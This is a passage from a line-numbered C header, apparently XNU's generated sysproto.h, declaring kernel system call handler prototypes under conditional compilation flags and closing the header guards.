*, int *); 2209 | int getrusage(struct proc *, struct getrusage_args *, int *); 2210 | #if SOCKETS 2211 | int getsockopt(struct proc *, struct getsockopt_args *, int *); 2212 | #else 2213 | #endif /* SOCKETS */ 2214 | int readv(struct proc *, struct readv_args *, user_ssize_t *); 2215 | int writev(struct proc *, struct writev_args *, user_ssize_t *); 2216 | int settimeofday(struct proc *, struct settimeofday_args *, int *); 2217 | int fchown(struct proc *, struct fchown_args *, int *); 2218 | int fchmod(struct proc *, struct fchmod_args *, int *); 2219 | int setreuid(struct proc *, struct setreuid_args *, int *); 2220 | int setregid(struct proc *, struct setregid_args *, int *); 2221 | int rename(struct proc *, struct rename_args *, int *); 2222 | int flock(struct proc *, struct flock_args *, int *); 2223 | int mkfifo(struct proc *, struct mkfifo_args *, int *); 2224 | #if SOCKETS 2225 | int sendto(struct proc *, struct sendto_args *, int *); 2226 | int shutdown(struct proc *, struct shutdown_args *, int *); 2227 | int socketpair(struct proc *, struct socketpair_args *, int *); 2228 | #else 2229 | #endif /* SOCKETS */ 2230 | int mkdir(struct proc *, struct mkdir_args *, int *); 2231 | int rmdir(struct proc *, struct rmdir_args *, int *); 2232 | int utimes(struct proc *, struct utimes_args *, int *); 2233 | int futimes(struct proc *, struct futimes_args *, int *); 2234 | int adjtime(struct proc *, struct adjtime_args *, int *); 2235 | int gethostuuid(struct proc *, struct gethostuuid_args *, int *); 2236 | int setsid(struct proc *, struct setsid_args *, int *); 2237 | int getpgid(struct proc *, struct getpgid_args *, int *); 2238 | int setprivexec(struct proc *, struct setprivexec_args *, int *); 2239 | int pread(struct proc *, struct pread_args *, user_ssize_t *); 2240 | int pwrite(struct proc *, struct pwrite_args *, user_ssize_t *); 2241 | #if NFSSERVER 2242 | int nfssvc(struct proc *, struct nfssvc_args *, int *); 2243 | #else 2244 | #endif 2245 | int statfs(struct proc *, struct statfs_args *, int *); 2246 | int fstatfs(struct proc *, struct fstatfs_args *, int *); 2247 | int unmount(struct proc *, struct unmount_args *, int *); 2248 | #if NFSSERVER 2249 | int getfh(struct proc *, struct getfh_args *, int *); 2250 | #else 2251 | #endif 2252 | int quotactl(struct proc *, struct quotactl_args *, int *); 2253 | int mount(struct proc *, struct mount_args *, int *); 2254 | int csops(struct proc *, struct csops_args *, int *); 2255 | int csops_audittoken(struct proc *, struct csops_audittoken_args *, int *); 2256 | int waitid(struct proc *, struct waitid_args *, int *); 2257 | int kdebug_trace(struct proc *, struct kdebug_trace_args *, int *); 2258 | int setgid(struct proc *, struct setgid_args *, int *); 2259 | int setegid(struct proc *, struct setegid_args *, int *); 2260 | int seteuid(struct proc *, struct seteuid_args *, int *); 2261 | int sigreturn(struct proc *, struct sigreturn_args *, int *); 2262 | int chud(struct proc *, struct chud_args *, int *); 2263 | int fdatasync(struct proc *, struct fdatasync_args *, int *); 2264 | int stat(struct proc *, struct stat_args *, int *); 2265 | int fstat(struct proc *, struct fstat_args *, int *); 2266 | int lstat(struct proc *, struct lstat_args *, int *); 2267 | int pathconf(struct proc *, struct pathconf_args *, int *); 2268 | int fpathconf(struct proc *, struct fpathconf_args *, int *); 2269 | int getrlimit(struct proc *, struct getrlimit_args *, int *); 2270 | int setrlimit(struct proc *, struct setrlimit_args *, int *); 2271 | int getdirentries(struct proc *, struct getdirentries_args *, int *); 2272 | int mmap(struct proc *, struct mmap_args *, user_addr_t *); 2273 | int lseek(struct proc *, struct lseek_args *, off_t *); 2274 | int truncate(struct proc *, struct truncate_args *, int *); 2275 | int ftruncate(struct proc *, struct ftruncate_args *, int *); 2276 | int sysctl(struct proc *, struct sysctl_args *, int *); 2277 | int mlock(struct proc *, struct mlock_args *, int *); 2278 | int munlock(struct proc *, struct munlock_args *, int *); 2279 | int undelete(struct proc *, struct undelete_args *, int *); 2280 | int open_dprotected_np(struct proc *, struct open_dprotected_np_args *, int *); 2281 | int getattrlist(struct proc *, struct getattrlist_args *, int *); 2282 | int setattrlist(struct proc *, struct setattrlist_args *, int *); 2283 | int getdirentriesattr(struct proc *, struct getdirentriesattr_args *, int *); 2284 | int exchangedata(struct proc *, struct exchangedata_args *, int *); 2285 | int searchfs(struct proc *, struct searchfs_args *, int *); 2286 | int delete(struct proc *, struct delete_args *, int *); 2287 | int copyfile(struct proc *, struct copyfile_args *, int *); 2288 | int fgetattrlist(struct proc *, struct fgetattrlist_args *, int *); 2289 | int fsetattrlist(struct proc *, struct fsetattrlist_args *, int *); 2290 | int poll(struct proc *, struct poll_args *, int *); 2291 | int watchevent(struct proc *, struct watchevent_args *, int *); 2292 | int waitevent(struct proc *, struct waitevent_args *, int *); 2293 | int modwatch(struct proc *, struct modwatch_args *, int *); 2294 | int getxattr(struct proc *, struct getxattr_args *, user_ssize_t *); 2295 | int fgetxattr(struct proc *, struct fgetxattr_args *, user_ssize_t *); 2296 | int setxattr(struct proc *, struct setxattr_args *, int *); 2297 | int fsetxattr(struct proc *, struct fsetxattr_args *, int *); 2298 | int removexattr(struct proc *, struct removexattr_args *, int *); 2299 | int fremovexattr(struct proc *, struct fremovexattr_args *, int *); 2300 | int listxattr(struct proc *, struct listxattr_args *, user_ssize_t *); 2301 | int flistxattr(struct proc *, struct flistxattr_args *, user_ssize_t *); 2302 | int fsctl(struct proc *, struct fsctl_args *, int *); 2303 | int initgroups(struct proc *, struct initgroups_args *, int *); 2304 | int posix_spawn(struct proc *, struct posix_spawn_args *, int *); 2305 | int ffsctl(struct proc *, struct ffsctl_args *, int *); 2306 | #if NFSCLIENT 2307 | int nfsclnt(struct proc *, struct nfsclnt_args *, int *); 2308 | #else 2309 | #endif 2310 | #if NFSSERVER 2311 | int fhopen(struct proc *, struct fhopen_args *, int *); 2312 | #else 2313 | #endif 2314 | int minherit(struct proc *, struct minherit_args *, int *); 2315 | #if SYSV_SEM 2316 | int semsys(struct proc *, struct semsys_args *, int *); 2317 | #else 2318 | #endif 2319 | #if SYSV_MSG 2320 | int msgsys(struct proc *, struct msgsys_args *, int *); 2321 | #else 2322 | #endif 2323 | #if SYSV_SHM 2324 | int shmsys(struct proc *, struct shmsys_args *, int *); 2325 | #else 2326 | #endif 2327 | #if SYSV_SEM 2328 | int semctl(struct proc *, struct semctl_args *, int *); 2329 | int semget(struct proc *, struct semget_args *, int *); 2330 | int semop(struct proc *, struct semop_args *, int *); 2331 | #else 2332 | #endif 2333 | #if SYSV_MSG 2334 | int msgctl(struct proc *, struct msgctl_args *, int *); 2335 | int msgget(struct proc *, struct msgget_args *, int *); 2336 | int msgsnd(struct proc *, struct msgsnd_args *, int *); 2337 | int msgrcv(struct proc *, struct msgrcv_args *, user_ssize_t *); 2338 | #else 2339 | #endif 2340 | #if SYSV_SHM 2341 | int shmat(struct proc *, struct shmat_args *, user_addr_t *); 2342 | int shmctl(struct proc *, struct shmctl_args *, int *); 2343 | int shmdt(struct proc *, struct shmdt_args *, int *); 2344 | int shmget(struct proc *, struct shmget_args *, int *); 2345 | #else 2346 | #endif 2347 | int shm_open(struct proc *, struct shm_open_args *, int *); 2348 | int shm_unlink(struct proc *, struct shm_unlink_args *, int *); 2349 | int sem_open(struct proc *, struct sem_open_args *, user_addr_t *); 2350 | int sem_close(struct proc *, struct sem_close_args *, int *); 2351 | int sem_unlink(struct proc *, struct sem_unlink_args *, int *); 2352 | int sem_wait(struct proc *, struct sem_wait_args *, int *); 2353 | int sem_trywait(struct proc *, struct sem_trywait_args *, int *); 2354 | int sem_post(struct proc *, struct sem_post_args *, int *); 2355 | int sysctlbyname(struct proc *, struct sysctlbyname_args *, int *); 2356 | int open_extended(struct proc *, struct open_extended_args *, int *); 2357 | int umask_extended(struct proc *, struct umask_extended_args *, int *); 2358 | int stat_extended(struct proc *, struct stat_extended_args *, int *); 2359 | int lstat_extended(struct proc *, struct lstat_extended_args *, int *); 2360 | int fstat_extended(struct proc *, struct fstat_extended_args *, int *); 2361 | int chmod_extended(struct proc *, struct chmod_extended_args *, int *); 2362 | int fchmod_extended(struct proc *, struct fchmod_extended_args *, int *); 2363 | int access_extended(struct proc *, struct access_extended_args *, int *); 2364 | int settid(struct proc *, struct settid_args *, int *); 2365 | int gettid(struct proc *, struct gettid_args *, int *); 2366 | int setsgroups(struct proc *, struct setsgroups_args *, int *); 2367 | int getsgroups(struct proc *, struct getsgroups_args *, int *); 2368 | int setwgroups(struct proc *, struct setwgroups_args *, int *); 2369 | int getwgroups(struct proc *, struct getwgroups_args *, int *); 2370 | int mkfifo_extended(struct proc *, struct mkfifo_extended_args *, int *); 2371 | int mkdir_extended(struct proc *, struct mkdir_extended_args *, int *); 2372 | #if CONFIG_EXT_RESOLVER 2373 | int identitysvc(struct proc *, struct identitysvc_args *, int *); 2374 | #else 2375 | #endif 2376 | int shared_region_check_np(struct proc *, struct shared_region_check_np_args *, int *); 2377 | int vm_pressure_monitor(struct proc *, struct vm_pressure_monitor_args *, int *); 2378 | #if PSYNCH 2379 | int psynch_rw_longrdlock(struct proc *, struct psynch_rw_longrdlock_args *, uint32_t *); 2380 | int psynch_rw_yieldwrlock(struct proc *, struct psynch_rw_yieldwrlock_args *, uint32_t *); 2381 | int psynch_rw_downgrade(struct proc *, struct psynch_rw_downgrade_args *, int *); 2382 | int psynch_rw_upgrade(struct proc *, struct psynch_rw_upgrade_args *, uint32_t *); 2383 | int psynch_mutexwait(struct proc *, struct psynch_mutexwait_args *, uint32_t *); 2384 | int psynch_mutexdrop(struct proc *, struct psynch_mutexdrop_args *, uint32_t *); 2385 | int psynch_cvbroad(struct proc *, struct psynch_cvbroad_args *, uint32_t *); 2386 | int psynch_cvsignal(struct proc *, struct psynch_cvsignal_args *, uint32_t *); 2387 | int psynch_cvwait(struct proc *, struct psynch_cvwait_args *, uint32_t *); 2388 | int psynch_rw_rdlock(struct proc *, struct psynch_rw_rdlock_args *, uint32_t *); 2389 | int psynch_rw_wrlock(struct proc *, struct psynch_rw_wrlock_args *, uint32_t *); 2390 | int psynch_rw_unlock(struct proc *, struct psynch_rw_unlock_args *, uint32_t *); 2391 | int psynch_rw_unlock2(struct proc *, struct psynch_rw_unlock2_args *, uint32_t *); 2392 | #else 2393 | #endif 2394 | int getsid(struct proc *, struct getsid_args *, int *); 2395 | int settid_with_pid(struct proc *, struct settid_with_pid_args *, int *); 2396 | #if PSYNCH 2397 | int psynch_cvclrprepost(struct proc *, struct psynch_cvclrprepost_args *, int *); 2398 | #else 2399 | #endif 2400 | int aio_fsync(struct proc *, struct aio_fsync_args *, int *); 2401 | int aio_return(struct proc *, struct aio_return_args *, user_ssize_t *); 2402 | int aio_suspend(struct proc *, struct aio_suspend_args *, int *); 2403 | int aio_cancel(struct proc *, struct aio_cancel_args *, int *); 2404 | int aio_error(struct proc *, struct aio_error_args *, int *); 2405 | int aio_read(struct proc *, struct aio_read_args *, int *); 2406 | int aio_write(struct proc *, struct aio_write_args *, int *); 2407 | int lio_listio(struct proc *, struct lio_listio_args *, int *); 2408 | int iopolicysys(struct proc *, struct iopolicysys_args *, int *); 2409 | int process_policy(struct proc *, struct process_policy_args *, int *); 2410 | int mlockall(struct proc *, struct mlockall_args *, int *); 2411 | int munlockall(struct proc *, struct munlockall_args *, int *); 2412 | int issetugid(struct proc *, struct issetugid_args *, int *); 2413 | int __pthread_kill(struct proc *, struct __pthread_kill_args *, int *); 2414 | int __pthread_sigmask(struct proc *, struct __pthread_sigmask_args *, int *); 2415 | int __sigwait(struct proc *, struct __sigwait_args *, int *); 2416 | int __disable_threadsignal(struct proc *, struct __disable_threadsignal_args *, int *); 2417 | int __pthread_markcancel(struct proc *, struct __pthread_markcancel_args *, int *); 2418 | int __pthread_canceled(struct proc *, struct __pthread_canceled_args *, int *); 2419 | int __semwait_signal(struct proc *, struct __semwait_signal_args *, int *); 2420 | int proc_info(struct proc *, struct proc_info_args *, int *); 2421 | #if SENDFILE 2422 | int sendfile(struct proc *, struct sendfile_args *, int *); 2423 | #else /* !SENDFILE */ 2424 | #endif /* SENDFILE */ 2425 | int stat64(struct proc *, struct stat64_args *, int *); 2426 | int fstat64(struct proc *, struct fstat64_args *, int *); 2427 | int lstat64(struct proc *, struct lstat64_args *, int *); 2428 | int stat64_extended(struct proc *, struct stat64_extended_args *, int *); 2429 | int lstat64_extended(struct proc *, struct lstat64_extended_args *, int *); 2430 | int fstat64_extended(struct proc *, struct fstat64_extended_args *, int *); 2431 | int getdirentries64(struct proc *, struct getdirentries64_args *, user_ssize_t *); 2432 | int statfs64(struct proc *, struct statfs64_args *, int *); 2433 | int fstatfs64(struct proc *, struct fstatfs64_args *, int *); 2434 | int getfsstat64(struct proc *, struct getfsstat64_args *, int *); 2435 | int __pthread_chdir(struct proc *, struct __pthread_chdir_args *, int *); 2436 | int __pthread_fchdir(struct proc *, struct __pthread_fchdir_args *, int *); 2437 | int audit(struct proc *, struct audit_args *, int *); 2438 | int auditon(struct proc *, struct auditon_args *, int *); 2439 | int getauid(struct proc *, struct getauid_args *, int *); 2440 | int setauid(struct proc *, struct setauid_args *, int *); 2441 | int getaudit_addr(struct proc *, struct getaudit_addr_args *, int *); 2442 | int setaudit_addr(struct proc *, struct setaudit_addr_args *, int *); 2443 | int auditctl(struct proc *, struct auditctl_args *, int *); 2444 | #if CONFIG_WORKQUEUE 2445 | int bsdthread_create(struct proc *, struct bsdthread_create_args *, user_addr_t *); 2446 | int bsdthread_terminate(struct proc *, struct bsdthread_terminate_args *, int *); 2447 | #else 2448 | #endif /* CONFIG_WORKQUEUE */ 2449 | int kqueue(struct proc *, struct kqueue_args *, int *); 2450 | int kevent(struct proc *, struct kevent_args *, int *); 2451 | int lchown(struct proc *, struct lchown_args *, int *); 2452 | int stack_snapshot(struct proc *, struct stack_snapshot_args *, int *); 2453 | #if CONFIG_WORKQUEUE 2454 | int bsdthread_register(struct proc *, struct bsdthread_register_args *, int *); 2455 | int workq_open(struct proc *, struct workq_open_args *, int *); 2456 | int workq_kernreturn(struct proc *, struct workq_kernreturn_args *, int *); 2457 | #else 2458 | #endif /* CONFIG_WORKQUEUE */ 2459 | int kevent64(struct proc *, struct kevent64_args *, int *); 2460 | #if OLD_SEMWAIT_SIGNAL 2461 | int __old_semwait_signal(struct proc *, struct __old_semwait_signal_args *, int *); 2462 | int __old_semwait_signal_nocancel(struct proc *, struct __old_semwait_signal_nocancel_args *, int *); 2463 | #else 2464 | #endif 2465 | int thread_selfid(struct proc *, struct thread_selfid_args *, uint64_t *); 2466 | int ledger(struct proc *, struct ledger_args *, int *); 2467 | int __mac_execve(struct proc *, struct __mac_execve_args *, int *); 2468 | #if CONFIG_MACF 2469 | int __mac_syscall(struct proc *, struct __mac_syscall_args *, int *); 2470 | int __mac_get_file(struct proc *, struct __mac_get_file_args *, int *); 2471 | int __mac_set_file(struct proc *, struct __mac_set_file_args *, int *); 2472 | int __mac_get_link(struct proc *, struct __mac_get_link_args *, int *); 2473 | int __mac_set_link(struct proc *, struct __mac_set_link_args *, int *); 2474 | int __mac_get_proc(struct proc *, struct __mac_get_proc_args *, int *); 2475 | int __mac_set_proc(struct proc *, struct __mac_set_proc_args *, int *); 2476 | int __mac_get_fd(struct proc *, struct __mac_get_fd_args *, int *); 2477 | int __mac_set_fd(struct proc *, struct __mac_set_fd_args *, int *); 2478 | int __mac_get_pid(struct proc *, struct __mac_get_pid_args *, int *); 2479 | int __mac_get_lcid(struct proc *, struct __mac_get_lcid_args *, int *); 2480 | int __mac_get_lctx(struct proc *, struct __mac_get_lctx_args *, int *); 2481 | int __mac_set_lctx(struct proc *, struct __mac_set_lctx_args *, int *); 2482 | #else 2483 | #endif 2484 | int setlcid(struct proc *, struct setlcid_args *, int *); 2485 | int getlcid(struct proc *, struct getlcid_args *, int *); 2486 | int read_nocancel(struct proc *, struct read_nocancel_args *, user_ssize_t *); 2487 | int write_nocancel(struct proc *, struct write_nocancel_args *, user_ssize_t *); 2488 | int open_nocancel(struct proc *, struct open_nocancel_args *, int *); 2489 | int close_nocancel(struct proc *, struct close_nocancel_args *, int *); 2490 | int wait4_nocancel(struct proc *, struct wait4_nocancel_args *, int *); 2491 | #if SOCKETS 2492 | int recvmsg_nocancel(struct proc *, struct recvmsg_nocancel_args *, int *); 2493 | int sendmsg_nocancel(struct proc *, struct sendmsg_nocancel_args *, int *); 2494 | int recvfrom_nocancel(struct proc *, struct recvfrom_nocancel_args *, int *); 2495 | int accept_nocancel(struct proc *, struct accept_nocancel_args *, int *); 2496 | #else 2497 | #endif /* SOCKETS */ 2498 | int msync_nocancel(struct proc *, struct msync_nocancel_args *, int *); 2499 | int fcntl_nocancel(struct proc *, struct fcntl_nocancel_args *, int *); 2500 | int select_nocancel(struct proc *, struct select_nocancel_args *, int *); 2501 | int fsync_nocancel(struct proc *, struct fsync_nocancel_args *, int *); 2502 | #if SOCKETS 2503 | int connect_nocancel(struct proc *, struct connect_nocancel_args *, int *); 2504 | #else 2505 | #endif /* SOCKETS */ 2506 | int sigsuspend_nocancel(struct proc *, struct sigsuspend_nocancel_args *, int *); 2507 | int readv_nocancel(struct proc *, struct readv_nocancel_args *, user_ssize_t *); 2508 | int writev_nocancel(struct proc *, struct writev_nocancel_args *, user_ssize_t *); 2509 | #if SOCKETS 2510 | int sendto_nocancel(struct proc *, struct sendto_nocancel_args *, int *); 2511 | #else 2512 | #endif /* SOCKETS */ 2513 | int pread_nocancel(struct proc *, struct pread_nocancel_args *, user_ssize_t *); 2514 | int pwrite_nocancel(struct proc *, struct pwrite_nocancel_args *, user_ssize_t *); 2515 | int waitid_nocancel(struct proc *, struct waitid_nocancel_args *, int *); 2516 | int poll_nocancel(struct proc *, struct poll_nocancel_args *, int *); 2517 | #if SYSV_MSG 2518 | int msgsnd_nocancel(struct proc *, struct msgsnd_nocancel_args *, int *); 2519 | int msgrcv_nocancel(struct proc *, struct msgrcv_nocancel_args *, user_ssize_t *); 2520 | #else 2521 | #endif 2522 | int sem_wait_nocancel(struct proc *, struct sem_wait_nocancel_args *, int *); 2523 | int aio_suspend_nocancel(struct proc *, struct aio_suspend_nocancel_args *, int *); 2524 | int __sigwait_nocancel(struct proc *, struct __sigwait_nocancel_args *, int *); 2525 | int __semwait_signal_nocancel(struct proc *, struct __semwait_signal_nocancel_args *, int *); 2526 | int __mac_mount(struct proc *, struct __mac_mount_args *, int *); 2527 | #if CONFIG_MACF 2528 | int __mac_get_mount(struct proc *, struct __mac_get_mount_args *, int *); 2529 | #else 2530 | #endif 2531 | int __mac_getfsstat(struct proc *, struct __mac_getfsstat_args *, int *); 2532 | int fsgetpath(struct proc *, struct fsgetpath_args *, user_ssize_t *); 2533 | int audit_session_self(struct proc *, struct audit_session_self_args *, mach_port_name_t *); 2534 | int audit_session_join(struct proc *, struct audit_session_join_args *, int *); 2535 | int fileport_makeport(struct proc *, struct fileport_makeport_args *, int *); 2536 | int fileport_makefd(struct proc *, struct fileport_makefd_args *, int *); 2537 | int audit_session_port(struct proc *, struct audit_session_port_args *, int *); 2538 | int pid_suspend(struct proc *, struct pid_suspend_args *, int *); 2539 | int pid_resume(struct proc *, struct pid_resume_args *, int *); 2540 | #if CONFIG_EMBEDDED 2541 | int pid_hibernate(struct proc *, struct pid_hibernate_args *, int *); 2542 | #else 2543 | #endif 2544 | #if CONFIG_EMBEDDED && SOCKETS 2545 | int pid_shutdown_sockets(struct proc *, struct pid_shutdown_sockets_args *, int *); 2546 | #else 2547 | #endif 2548 | int shared_region_map_and_slide_np(struct proc *, struct shared_region_map_and_slide_np_args *, int *); 2549 | int kas_info(struct proc *, struct kas_info_args *, int *); 2550 | #if CONFIG_MEMORYSTATUS 2551 | int memorystatus_control(struct proc *, struct memorystatus_control_args *, int *); 2552 | #else 2553 | #endif 2554 | int guarded_open_np(struct proc *, struct guarded_open_np_args *, int *); 2555 | int guarded_close_np(struct proc *, struct guarded_close_np_args *, int *); 2556 | int guarded_kqueue_np(struct proc *, struct guarded_kqueue_np_args *, int *); 2557 | int change_fdguard_np(struct proc *, struct change_fdguard_np_args *, int *); 2558 | int proc_rlimit_control(struct proc *, struct proc_rlimit_control_args *, int *); 2559 | #if SOCKETS 2560 | int connectx(struct proc *, struct connectx_args *, int *); 2561 | int disconnectx(struct proc *, struct disconnectx_args *, int *); 2562 | int peeloff(struct proc *, struct peeloff_args *, int *); 2563 | int socket_delegate(struct proc *, struct socket_delegate_args *, int *); 2564 | #else 2565 | #endif /* SOCKETS */ 2566 | int telemetry(struct proc *, struct telemetry_args *, int *); 2567 | #if CONFIG_PROC_UUID_POLICY 2568 | int proc_uuid_policy(struct proc *, struct proc_uuid_policy_args *, int *); 2569 | #else 2570 | #endif 2571 | #if CONFIG_MEMORYSTATUS 2572 | int memorystatus_get_level(struct proc *, struct memorystatus_get_level_args *, int *); 2573 | #else 2574 | #endif 2575 | int system_override(struct proc *, struct system_override_args *, int *); 2576 | int vfs_purge(struct proc *, struct vfs_purge_args *, int *); 2577 | int sfi_ctl(struct proc *, struct sfi_ctl_args *, int *); 2578 | int sfi_pidctl(struct proc *, struct sfi_pidctl_args *, int *); 2579 | #if CONFIG_COALITIONS 2580 | int coalition(struct proc *, struct coalition_args *, int *); 2581 | int coalition_info(struct proc *, struct coalition_info_args *, int *); 2582 | #else 2583 | #endif /* COALITIONS */ 2584 | #if NECP 2585 | int necp_match_policy(struct proc *, struct necp_match_policy_args *, int *); 2586 | #else 2587 | #endif /* NECP */ 2588 | int getattrlistbulk(struct proc *, struct getattrlistbulk_args *, int *); 2589 | int openat(struct proc *, struct openat_args *, int *); 2590 | int openat_nocancel(struct proc *, struct openat_nocancel_args *, int *); 2591 | int renameat(struct proc *, struct renameat_args *, int *); 2592 | int faccessat(struct proc *, struct faccessat_args *, int *); 2593 | int fchmodat(struct proc *, struct fchmodat_args *, int *); 2594 | int fchownat(struct proc *, struct fchownat_args *, int *); 2595 | int fstatat(struct proc *, struct fstatat_args *, int *); 2596 | int fstatat64(struct proc *, struct fstatat64_args *, int *); 2597 | int linkat(struct proc *, struct linkat_args *, int *); 2598 | int unlinkat(struct proc *, struct unlinkat_args *, int *); 2599 | int readlinkat(struct proc *, struct readlinkat_args *, int *); 2600 | int symlinkat(struct proc *, struct symlinkat_args *, int *); 2601 | int mkdirat(struct proc *, struct mkdirat_args *, int *); 2602 | int getattrlistat(struct proc *, struct getattrlistat_args *, int *); 2603 | int proc_trace_log(struct proc *, struct proc_trace_log_args *, int *); 2604 | int bsdthread_ctl(struct proc *, struct bsdthread_ctl_args *, int *); 2605 | int openbyid_np(struct proc *, struct openbyid_np_args *, int *); 2606 | #if SOCKETS 2607 | int recvmsg_x(struct proc *, struct recvmsg_x_args *, user_ssize_t *); 2608 | int sendmsg_x(struct proc *, struct sendmsg_x_args *, user_ssize_t *); 2609 | #else 2610 | #endif /* SOCKETS */ 2611 | int thread_selfusage(struct proc *, struct thread_selfusage_args *, uint64_t *); 2612 | #if CONFIG_CSR 2613 | int csrctl(struct proc *, struct csrctl_args *, int *); 2614 | #else 2615 | #endif /* CSR */ 2616 | int guarded_open_dprotected_np(struct proc *, struct guarded_open_dprotected_np_args *, int *); 2617 | int guarded_write_np(struct proc *, struct guarded_write_np_args *, user_ssize_t *); 2618 | int guarded_pwrite_np(struct proc *, struct guarded_pwrite_np_args *, user_ssize_t *); 2619 | int guarded_writev_np(struct proc *, struct guarded_writev_np_args *, user_ssize_t *); 2620 | #if CONFIG_SECLUDED_RENAME 2621 | int rename_ext(struct proc *, struct rename_ext_args *, int *); 2622 | #else 2623 | #endif 2624 | #if CONFIG_CODE_DECRYPTION 2625 | int mremap_encrypted(struct proc *, struct mremap_encrypted_args *, int *); 2626 | #else 2627 | #endif 2628 | 2629 | __END_DECLS 2630 | #undef PAD_ 2631 | #undef PADL_ 2632 | #undef PADR_ 2633 | 2634 | #endif /* __APPLE_API_PRIVATE */ 2635 | 2636 | #endif /* !_SYS_SYSPROTO_H_ */ 2637 | --------------------------------------------------------------------------------